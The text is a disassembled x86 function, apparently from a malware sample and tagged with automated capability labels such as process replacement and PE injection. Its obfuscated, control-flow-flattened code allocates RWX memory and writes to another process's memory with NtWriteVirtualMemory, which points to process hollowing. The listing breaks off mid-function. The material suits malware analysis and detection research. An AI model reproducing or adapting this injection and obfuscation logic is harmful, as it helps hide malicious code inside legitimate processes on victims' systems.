Function at 0x10008c80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x160
mov eax, dword [0x1006d400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0x27d54c4a
sub edx, 1
sub edx, 0x27d54c4a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x162], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x161], al
mov dword [ebp - 0x168], 0x7f1b0ebe
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
sub eax, 0x803a8687
je 0x1000d69d
jmp 0x10008cfb
mov eax, dword [ebp - 0x16c]
sub eax, 0x80bb6d01
je 0x1000aea6
jmp 0x10008d11
mov eax, dword [ebp - 0x16c]
sub eax, 0x813b1574
je 0x1000fa74
jmp 0x10008d27
mov eax, dword [ebp - 0x16c]
sub eax, 0x84528dac
je 0x1000e6b9
jmp 0x10008d3d
mov eax, dword [ebp - 0x16c]
sub eax, 0x8664701a
je 0x1000ed16
jmp 0x10008d53
mov eax, dword [ebp - 0x16c]
sub eax, 0x866550bc
je 0x1000ee7d
jmp 0x10008d69
mov eax, dword [ebp - 0x16c]
sub eax, 0x877c168c
je 0x1000e42f
jmp 0x10008d7f
mov eax, dword [ebp - 0x16c]
sub eax, 0x88b2fb61
je 0x1000dd53
jmp 0x10008d95
mov eax, dword [ebp - 0x16c]
sub eax, 0x88bb1031
je 0x1000f5d8
jmp 0x10008dab
mov eax, dword [ebp - 0x16c]
sub eax, 0x893d375d
je 0x1000ae89
jmp 0x10008dc1
mov eax, dword [ebp - 0x16c]
sub eax, 0x89e675b5
je 0x1000bb4e
jmp 0x10008dd7
mov eax, dword [ebp - 0x16c]
sub eax, 0x89e85f47
je 0x1000c95c
jmp 0x10008ded
mov eax, dword [ebp - 0x16c]
sub eax, 0x8a3aa659
je 0x1000d264
jmp 0x10008e03
mov eax, dword [ebp - 0x16c]
sub eax, 0x8aa3f5d2
je 0x1000d935
jmp 0x10008e19
mov eax, dword [ebp - 0x16c]
sub eax, 0x8b367996
je 0x1000d44a
jmp 0x10008e2f
mov eax, dword [ebp - 0x16c]
sub eax, 0x8b3ddc72
je 0x1000c47f
jmp 0x10008e45
mov eax, dword [ebp - 0x16c]
sub eax, 0x8bd030a0
je 0x10010791
jmp 0x10008e5b
mov eax, dword [ebp - 0x16c]
sub eax, 0x8bf376eb
je 0x1000afef
jmp 0x10008e71
mov eax, dword [ebp - 0x16c]
sub eax, 0x8d3ff7ef
je 0x1000ba22
jmp 0x10008e87
mov eax, dword [ebp - 0x16c]
sub eax, 0x8d5598f6
je 0x1000f5fc
jmp 0x10008e9d
mov eax, dword [ebp - 0x16c]
sub eax, 0x8e8e1c4e
je 0x1000d17e
jmp 0x10008eb3
mov eax, dword [ebp - 0x16c]
sub eax, 0x91023b43
je 0x1000b3d4
jmp 0x10008ec9
mov eax, dword [ebp - 0x16c]
sub eax, 0x92d82dbf
je 0x10010395
jmp 0x10008edf
mov eax, dword [ebp - 0x16c]
sub eax, 0x92dcd052
je 0x1000efee
jmp 0x10008ef5
mov eax, dword [ebp - 0x16c]
sub eax, 0x935e171d
je 0x1000c454
jmp 0x10008f0b
mov eax, dword [ebp - 0x16c]
sub eax, 0x93e42ba0
je 0x1000b137
jmp 0x10008f21
mov eax, dword [ebp - 0x16c]
sub eax, 0x946d0ed3
je 0x1000d063
jmp 0x10008f37
mov eax, dword [ebp - 0x16c]
sub eax, 0x94f6f9df
je 0x1000c08e
jmp 0x10008f4d
mov eax, dword [ebp - 0x16c]
sub eax, 0x95eebaef
je 0x1000e21d
jmp 0x10008f63
mov eax, dword [ebp - 0x16c]
sub eax, 0x9634d467
je 0x1000ec91
jmp 0x10008f79
mov eax, dword [ebp - 0x16c]
sub eax, 0x9830e39c
je 0x10010adc
jmp 0x10008f8f
mov eax, dword [ebp - 0x16c]
sub eax, 0x986b35d5
je 0x1000ca58
jmp 0x10008fa5
mov eax, dword [ebp - 0x16c]
sub eax, 0x9893da9c
je 0x1000ffe0
jmp 0x10008fbb
mov eax, dword [ebp - 0x16c]
sub eax, 0x98d4759b
je 0x1000f8b8
jmp 0x10008fd1
mov eax, dword [ebp - 0x16c]
sub eax, 0x997d2c08
je 0x1000f45f
jmp 0x10008fe7
mov eax, dword [ebp - 0x16c]
sub eax, 0x99fd7c2b
je 0x1000cb10
jmp 0x10008ffd
mov eax, dword [ebp - 0x16c]
sub eax, 0x9a79ff9e
je 0x1000d713
jmp 0x10009013
mov eax, dword [ebp - 0x16c]
sub eax, 0x9b27f04e
je 0x1000c5a8
jmp 0x10009029
mov eax, dword [ebp - 0x16c]
sub eax, 0x9b74e774
je 0x10010cfe
jmp 0x1000903f
mov eax, dword [ebp - 0x16c]
sub eax, 0x9bc5fb26
je 0x1000bef8
jmp 0x10009055
mov eax, dword [ebp - 0x16c]
sub eax, 0x9cc6ef7a
je 0x1000cf4b
jmp 0x1000906b
mov eax, dword [ebp - 0x16c]
sub eax, 0x9deb0588
je 0x1000beb0
jmp 0x10009081
mov eax, dword [ebp - 0x16c]
sub eax, 0x9dfee62d
je 0x10010438
jmp 0x10009097
mov eax, dword [ebp - 0x16c]
sub eax, 0x9ed1a0c7
je 0x1001077c
jmp 0x100090ad
mov eax, dword [ebp - 0x16c]
sub eax, 0x9efb0b3b
je 0x1000f84f
jmp 0x100090c3
mov eax, dword [ebp - 0x16c]
sub eax, 0x9f5d313b
je 0x1000cc5e
jmp 0x100090d9
mov eax, dword [ebp - 0x16c]
sub eax, 0x9f8a61b5
je 0x10010578
jmp 0x100090ef
mov eax, dword [ebp - 0x16c]
sub eax, 0xa081c4be
je 0x1000bed1
jmp 0x10009105
mov eax, dword [ebp - 0x16c]
sub eax, 0xa0e3fd3b
je 0x10010b1f
jmp 0x1000911b
mov eax, dword [ebp - 0x16c]
sub eax, 0xa320ae69
je 0x1000c4c8
jmp 0x10009131
mov eax, dword [ebp - 0x16c]
sub eax, 0xa330ba7a
je 0x1001067e
jmp 0x10009147
mov eax, dword [ebp - 0x16c]
sub eax, 0xa4420fd8
je 0x1000d806
jmp 0x1000915d
mov eax, dword [ebp - 0x16c]
sub eax, 0xa44e8581
je 0x1000f71b
jmp 0x10009173
mov eax, dword [ebp - 0x16c]
sub eax, 0xa52c7f18
je 0x1000cdda
jmp 0x10009189
mov eax, dword [ebp - 0x16c]
sub eax, 0xa7212e27
je 0x10010cef
jmp 0x1000919f
mov eax, dword [ebp - 0x16c]
sub eax, 0xa767cbe3
je 0x1000ec10
jmp 0x100091b5
mov eax, dword [ebp - 0x16c]
sub eax, 0xaae23b8a
je 0x1000fb6b
jmp 0x100091cb
mov eax, dword [ebp - 0x16c]
sub eax, 0xac8ca88e
je 0x1000e449
jmp 0x100091e1
mov eax, dword [ebp - 0x16c]
sub eax, 0xacfcc8f9
je 0x1000d1de
jmp 0x100091f7
mov eax, dword [ebp - 0x16c]
sub eax, 0xad2c1bfe
je 0x1000b729
jmp 0x1000920d
mov eax, dword [ebp - 0x16c]
sub eax, 0xad690b4f
je 0x1000cabf
jmp 0x10009223
mov eax, dword [ebp - 0x16c]
sub eax, 0xaf460605
je 0x1000e1ae
jmp 0x10009239
mov eax, dword [ebp - 0x16c]
sub eax, 0xaf875642
je 0x1000eabd
jmp 0x1000924f
mov eax, dword [ebp - 0x16c]
sub eax, 0xb01bcd54
je 0x1000f619
jmp 0x10009265
mov eax, dword [ebp - 0x16c]
sub eax, 0xb01de2ed
je 0x1000e7c3
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x168], 0x80bb6d01
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0xb0dd825d
sub edx, 1
sub edx, 0xb0dd825d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9dfee62d
mov ecx, 0x50fa18fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x507781a0
mov ecx, 0x40bd1149
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x150]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100124f0
add esp, 0xc
mov eax, dword [ebp - 0x14c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100124f0
add esp, 0xc
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0xd0], eax
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4c5dac69
mov ecx, 0xf7a85023
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23a4d84f
mov ecx, 0x73260567
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0x5bb04066
sub edx, 1
add edx, 0x5bb04066
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x15ba5ee8
mov ecx, 0x6be06d75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov dword [ebp - 0x168], 0x25866074
jmp 0x10010d17
mov dl, byte [ebp - 0xc1]
mov eax, 0x251a2851
mov ecx, 0xb63076bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov dl, byte [ebp - 0xad]
mov eax, 0xa081c4be
mov ecx, 0x46104c8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [ebp - 0x13c]
mov dword [eax], 0
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x168], 0x9bc5fb26
jmp 0x10010d17
mov eax, dword [ebp - 0xac]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x138]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x168], 0x46104c8b
jmp 0x10010d17
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x168], 0x567f4295
jmp 0x10010d17
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0
mov dword [ebp - 0x168], 0x8b3ddc72
jmp 0x10010d17
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa058987
mov ecx, 0xa320ae69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x86], ax
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa058987
mov ecx, 0xc2c7fa56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0x345a88dd
sub edx, 1
add edx, 0x345a88dd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x35adfed6
mov ecx, 0x11c4825a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [ebp - 0x78]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x7c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x150]
mov esi, dword [eax]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x80]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x11c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100086d0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x11c]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0x71], al
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
add edx, 0x261ba053
sub edx, 1
sub edx, 0x261ba053
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7824fdb3
mov ecx, 0x986b35d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x98d4759b
mov ecx, 0x3d19e6db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
sub edx, 0xd932d4c6
sub edx, 1
add edx, 0xd932d4c6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe10570f9
mov ecx, 0x99fd7c2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
add edx, 0x54c59107
sub edx, 1
sub edx, 0x54c59107
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe10570f9
mov ecx, 0xcf0686b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov esi, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
sub esi, 0x78fc7c72
add esi, eax
add esi, 0x78fc7c72
mov edx, dword [ebp - 0x70]
mov eax, 0x61d6de86
mov ecx, 0x32ee0306
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0xa6f4f587
sub edx, 1
add edx, 0xa6f4f587
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd350a833
mov ecx, 0x7b79e799
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
add edx, 0x5a851da2
sub edx, 1
sub edx, 0x5a851da2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea9388d5
mov ecx, 0x3afbbc8d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0x4bbfff52
sub edx, 1
sub edx, 0x4bbfff52
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdba22c76
mov ecx, 0xead84043
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
mov edx, eax
sub edx, 0x9599b5fe
sub edx, 1
add edx, 0x9599b5fe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf96ae51
mov ecx, 0x16a8768b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x158]
mov esi, dword [eax]
mov eax, 0x2a3d0900
mov ecx, 0x277cca2e
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0xb4344533
sub edx, 1
sub edx, 0xb4344533
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x26ddff1c
mov ecx, 0x75a74517
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcddf20f9
mov ecx, 0xdd15731f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x168], 0xd2c0787b
jmp 0x10010d17
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x94a02f4f
or eax, edx
or ecx, 0x94a02f4f
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x3d], al
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbbfad0d7
mov ecx, 0x237a6d82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfedf8f77
mov ecx, 0x668f9b60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
sub ecx, 0x9ab1720f
add ecx, eax
add ecx, 0x9ab1720f
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov edx, dword [ebp - 0x108]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
add ecx, 0x3ca4d7a5
add ecx, eax
sub ecx, 0x3ca4d7a5
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x150]
mov edx, dword [eax]
mov eax, dword [ebp - 0x100]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x31], al
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d7e5a7f
mov ecx, 0x39d17fb9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov dword [ebp - 0x168], 0x589c4f11
jmp 0x10010d17
mov dword [ebp - 0x168], 0x7b7c2c66
jmp 0x10010d17
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
sub ecx, 0x4305e31f
add ecx, 8
add ecx, 0x4305e31f
mov eax, dword [ebp - 0x150]
mov edx, dword [eax]
mov eax, dword [ebp - 0x13c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x21], al
mov eax, dword [0x1006e728]
mov ecx, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4f7739ef
mov ecx, 0x430f748b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x168], 0xac8ca88e
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe69f5e8f
mov ecx, 0x5563a517
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0xed84edee
sub edx, 1
add edx, 0xed84edee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5554e719
mov ecx, 0xe20e8853
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov dword [ebp - 0x168], 0xf60286b9
jmp 0x10010d17
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
sub edx, 0x17c50ba3
sub edx, 1
add edx, 0x17c50ba3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd2dd2203
mov ecx, 0x9634d467
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10010d17
mov ecx, dword [0x1006e728]
mov eax, dword [0x1006e724]
mov edx, ecx
add edx, 0x3f9e6e7
sub edx, 1
sub edx, 0x3f9e6e7
imul ecx, edx
